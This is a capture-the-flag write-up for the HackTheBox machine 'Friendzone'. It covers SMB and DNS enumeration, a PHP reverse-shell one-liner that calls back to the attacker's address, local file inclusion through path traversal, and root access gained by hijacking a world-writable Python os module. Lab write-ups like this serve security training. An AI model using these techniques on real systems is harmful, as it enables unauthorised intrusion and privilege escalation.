Friendzone Writeup
Introduction :
Friendzone is an easy Linux box released back in Febuary 2019.
Part 1 : Initial Enumeration
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
β nmap -F 10.10.10.123
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-07 09:04 CET
Nmap scan report for 10.10.10.123
Host is up (0.15s latency).
Not shown: 93 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
β nmap -sC -sV 10.10.10.123 -p 21,22,53,80,139,443,445
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-07 09:05 CET
Nmap scan report for 10.10.10.123
Host is up (0.036s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -39m30s, deviation: 1h09m16s, median: 28s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <****unknown>, NetBIOS MAC: <****unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONE\x00
| Domain name: \x00
| FQDN: friendzone
|_ System time: 2019-12-07T10:06:20+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-12-07T08:06:20
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.42 seconds
Part 2 : Getting User Access
Our nmap scan picked up the samba service running on both port 139 and 445. So we run the smb map command with it's -H flag in order to enumerate the shares we can work with.
Ξ» root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] β smbmap -H 10.10.10.123 -p 445,139
/bin/smbmap:1036: SyntaxWarning: "is" with a literal. Did you mean "=="?
if len(sys.argv) is 1:
[+] Finding open SMB ports....
[!] Authentication error on 10.10.10.123
Seems like smbmap has got some problems on archlabs, but no worries, enum4linux is there to the rescue.
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
β enum4linux 10.10.10.123
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Dec 7 09:12:14 2019
==========================
| Target Information |
==========================
Target ........... 10.10.10.123
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 10.10.10.123 |
====================================================
Can't load /etc/samba/smb.conf - run testparm to debug it
[+] Got domain/workgroup name: WORKGROUP
============================================
| Nbtstat Information for 10.10.10.123 |
============================================
Can't load /etc/samba/smb.conf - run testparm to debug it
Looking up status of 10.10.10.123
FRIENDZONE <****00> - B <****ACTIVE> Workstation Service
FRIENDZONE <****03> - B <****ACTIVE> Messenger Service
FRIENDZONE <****20> - B <****ACTIVE> File Server Service
..__MSBROWSE__. <****01> - <****GROUP> B <****ACTIVE> Master Browser
WORKGROUP <****00> - <****GROUP> B <****ACTIVE> Domain/Workgroup Name
WORKGROUP <****1d> - B <****ACTIVE> Master Browser
WORKGROUP <****1e> - <****GROUP> B <****ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
=====================================
| Session Check on 10.10.10.123 |
=====================================
[+] Server 10.10.10.123 allows sessions using username '', password ''
===========================================
| Getting domain SID for 10.10.10.123 |
===========================================
Unable to initialize messaging context
rpcclient: Can't load /etc/samba/smb.conf - run testparm to debug it
[+] Can't determine if host is part of domain or part of a workgroup
======================================
| OS information on 10.10.10.123 |
======================================
Use of uninitialized value $os_info in concatenation (.) or string at /usr/bin/enum4linux line 464.
[+] Got OS info for 10.10.10.123 from smbclient:
[+] Got OS info for 10.10.10.123 from srvinfo:
Unable to initialize messaging context
rpcclient: Can't load /etc/samba/smb.conf - run testparm to debug it
=============================
| Users on 10.10.10.123 |
=============================
Use of uninitialized value $users in print at /usr/bin/enum4linux line 874.
Use of uninitialized value $users in pattern match (m//) at /usr/bin/enum4linux line 877.
Use of uninitialized value $users in print at /usr/bin/enum4linux line 888.
Use of uninitialized value $users in pattern match (m//) at /usr/bin/enum4linux line 890.**=========================================
| Share Enumeration on 10.10.10.123 |
=========================================
Unable to initialize messaging context
smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
Files Disk FriendZone Samba Server Files /etc/Files
general Disk FriendZone Samba Server Files
Development Disk FriendZone Samba Server Files
IPC$ IPC IPC Service (FriendZone server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP FRIENDZONE
[+] Attempting to map shares on 10.10.10.123
//10.10.10.123/print$ Mapping: DENIED, Listing: N/A
//10.10.10.123/Files Mapping: DENIED, Listing: N/A
//10.10.10.123/general Mapping: OK, Listing: OK
//10.10.10.123/Development Mapping: OK, Listing: OK
//10.10.10.123/IPC$ [E] Can't understand response:
Unable to initialize messaging context
smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \***
====================================================
| Password Policy Information for 10.10.10.123 |
====================================================
[E] Unexpected error from polenum:
Traceback (most recent call last):
File "/usr/bin/polenum", line 16, in <****module>
from impacket.dcerpc.v5.rpcrt import DCERPC_v5
ImportError: No module named impacket.dcerpc.v5.rpcrt
[+] Retieved partial password policy with rpcclient:
==============================
| Groups on 10.10.10.123 |
==============================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
=======================================================================
| Users on 10.10.10.123 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
=============================================
| Getting printer info for 10.10.10.123 |
=============================================
Unable to initialize messaging context
rpcclient: Can't load /etc/samba/smb.conf - run testparm to debug it
enum4linux complete on Sat Dec 7 09:12:20 2019
Looking at the results, we have a few ports to work with. Let's check out the shares available for us using the smbclient command.
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
β smbclient \\\\10.10.10.123\\general
Unable to initialize messaging context
smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it
Enter WORKGROUP\nihilist's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jan 16 21:10:51 2019
.. D 0 Wed Jan 23 22:51:02 2019
creds.txt N 57 Wed Oct 10 01:52:42 2018
9221460 blocks of size 1024. 6459232 blocks available
smb: \> get creds.txt
getting file \creds.txt of size 57 as creds.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \> exit
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
β mv creds.txt Friendzone/creds.txt
mv: cannot move 'creds.txt' to 'Friendzone/creds.txt': No such file or directory
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
β mkdir Friendzone
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
β mv creds.txt Friendzone/creds.txt
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
β cd Friendzone
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Friendzone ]
β cat creds.txt
creds for the admin THING:
admin:WORKWORKHhallelujah@#
We seem to have a password to work with ! WORKWORKHhallelujah@# Now let's use nmap's smb share enumeration script.
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Friendzone ]
β nmap 10.10.10.123 --script smb-enum-shares
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-07 09:39 CET
Nmap scan report for 10.10.10.123
Host is up (0.043s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.10.123\Development:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <****unlimited>
| Path: C:\etc\Development
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\Files:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files /etc/Files
| Users: 0
| Max Users: <****unlimited>
| Path: C:\etc\hole
| Anonymous access: <****none>
| Current user access: <****none>
| \\10.10.10.123\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (FriendZone server (Samba, Ubuntu))
| Users: 1
| Max Users: <****unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\general:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <****unlimited>
| Path: C:\etc\general
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <****unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <****none>
|_ Current user access: <****none>
Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds
Browsing to the 80th port, we are greeted with a simple html page with a picture. Although we are hinted towards domain name resolution at the bottom, so let's see what lies at the https port in order to see if we can enumerate the DNS part of this box a little further using the SSL certificate.
Seems like we have a hostname to work with : friendzone.red let's do a quick dns lookup using the dig command.
Ξ» root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] β pacman -S blackarch/python2-dnsknife
Ξ» root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] β dig axfr @10.10.10.123 friendzone.red
; <<>> DiG 9.14.8 <<>> axfr @10.10.10.123 friendzone.red
; (1 server found)
;; global options: +cmd
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red. 604800 IN AAAA ::1
friendzone.red. 604800 IN NS localhost.
friendzone.red. 604800 IN A 127.0.0.1
administrator1.friendzone.red. 604800 IN A 127.0.0.1
hr.friendzone.red. 604800 IN A 127.0.0.1
uploads.friendzone.red. 604800 IN A 127.0.0.1
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 39 msec
;; SERVER: 10.10.10.123#53(10.10.10.123)
;; WHEN: Sat Dec 07 10:13:25 CET 2019
;; XFR size: 8 records (messages 1, bytes 289)
Looking at the results, we seem to have found administrator1.friendzone.red and uploads.friendzone.red . Since HackTheBox doesn't do DNS we'll add the following line into our /etc/hosts file :
10.10.10.123 administrator1.friendzone.red uploads.friendzone.red
Browsing to the administrator1.friendzone.red URI we are greeted by a login prompt.
Using the credentials we found earlier, we are able to login :
Earlier our enum4linux scan picked up the Development SMB Share :
Ξ» root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] β smbclient -H //10.10.10.123/Development
Unable to initialize messaging context
smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it
Enter WORKGROUP\nihilist's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Dec 7 09:40:17 2019
.. D 0 Wed Jan 23 22:51:02 2019
This is where we will upload our reverse php shell, just pick up a quick oneliner for us to use and upload it :
<****?php
echo("nihilist WAS HERE");
exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.48/9001 0>&1'");
smb: \> put nihilist_rev.php
putting file nihilist_rev.php as \nihilist_rev.php (0.9 kb/s) (average 0.9 kb/s)
smb: \> ls
. D 0 Sat Dec 7 10:38:01 2019
.. D 0 Wed Jan 23 22:51:02 2019
nihilist_rev.php A 101 Sat Dec 7 10:38:02 2019
9221460 blocks of size 1024. 6460304 blocks available
smb: \> exit
Ξ» root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] β nc -lvnp 9001
Once the reverse shell is uploaded, we ready our terminal with the nc command in order to catch the incoming reverse shell connection onto our 9001st port. Then we browse to our reverse php shell from within the webbrowser and see the result :
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename;=../../../../../../../../../etc/Development/nihilist_rev.php
This does not work because the URI must not end with .php ! So you need to browse to this URI :
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename;=../../../../../../../../../etc/Development/nihilist_rev
And see that our terminal catched the reverse shell connection.
Ξ» root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] β nc -lvnp 9001
Connection from 10.10.10.123:58526
bash: cannot set terminal process group (556): Inappropriate ioctl for device
bash: no job control in this shell
www-data@FriendZone:/var/www/admin$ uname -a
uname -a
Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
www-data@FriendZone:/var/www/admin$ whoami
whoami
www-data
And that's it ! we have been able to login as www-data, now let's see if we have enough permissions to print out the user flag.
www-data@FriendZone:/var/www/admin$ cd /home
cd /home
www-data@FriendZone:/home$ ls
ls
friend
www-data@FriendZone:/home$ cd friend
cd friend
www-data@FriendZone:/home/friend$ ls
ls
user.txt
www-data@FriendZone:/home/friend$ cat user.txt
cat user.txt
a9XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to print out the user flag.
Part 3 : Getting Root Access
Now we need to escalate privileges onto the machine. To do so, let's first take a look at the mysql_data.conf file located in /var/www.
www-data@FriendZone:/home/friend$ cd /var/www
cd /var/www
www-data@FriendZone:/var/www$ ls
ls
admin
friendzone
friendzoneportal
friendzoneportaladmin
html
mysql_data.conf
uploads
www-data@FriendZone:/var/www$ cat mysql_data.conf
cat mysql_data.conf
for development process this is the mysql creds for user friend
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ
seems like we have credentials to work with ! friend:Agpyu12!0.213$ let's try to privesc using the su command.
www-data@FriendZone:/var/www$ su friend
su friend
su: must be run from a terminal
www-data@FriendZone:/var/www$ which python
which python
/usr/bin/python
That's not a problem, we should be able to fool the system into thinking we are running commands from a TTY session, by using python's pty module.
www-data@FriendZone:/var/www$ python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import pty; pty.spawn("/bin/sh")'
$ su friend
su friend
Password: Agpyu12!0.213$
friend@FriendZone:/var/www$ whoami
whoami
friend
Now let's take a look into the /opt directory. There seems to be an interesting folder for us to look into :
friend@FriendZone:/var/www$ cd /opt
cd /opt
friend@FriendZone:/opt$ ls
ls
server_admin
friend@FriendZone:/opt$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Oct 6 2018 .
drwxr-xr-x 22 root root 4096 Oct 5 2018 ..
drwxr-xr-x 2 root root 4096 Jan 24 2019 server_admin
friend@FriendZone:/opt$ cd server_admin
cd server_admin
friend@FriendZone:/opt/server_admin$ ls
ls
reporter.py
friend@FriendZone:/opt/server_admin$ cat reporter.py
cat reporter.py
#!/usr/bin/python
import os
to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later
# Sam ~ python developer
friend@FriendZone:/opt/server_admin$
Seems like the python script is importing a library named "os", let's see if we can enumerate it.
friend@FriendZone:/opt/server_admin$ ls -ld /usr/lib/python2.7/os.py
ls -ld /usr/lib/python2.7/os.py
-rwxrwxrwx 1 root root 25910 Jan 15 2019 /usr/lib/python2.7/os.py
Whoa ! The os.py libary has got the 777 permissions, This is a serious security flaw as we're about to demonstrate :
friend@FriendZone:/opt/server_admin$ echo "system('chmod 4755 /bin/bash')" >> /usr/lib/python2.7/os.py
echo "system('chmod 4755 /bin/bash')" >> /usr/lib/python2.7/os.py
friend@FriendZone:/opt/server_admin$ ^[[A^[[A
friend@FriendZone:/opt/server_admin$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1113504 Apr 4 2018 /bin/bash
Wait a little while for the cronjob to execute the python script, and you should see the permissions of /bin/bash changing.
friend@FriendZone:/opt/server_admin$ ^[[A
ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 4 2018 /bin/bash
friend@FriendZone:/opt/server_admin$ /bin/bash -p
/bin/bash -p
bash-4.4# whoami
whoami
root
bash-4.4# cat /root/root.txt
cat /root/root.txt
b0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to print out the root flag.
Conclusion
Here we can see the progress graph :
Nihilist
Donate XMR to Nihilist:
8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8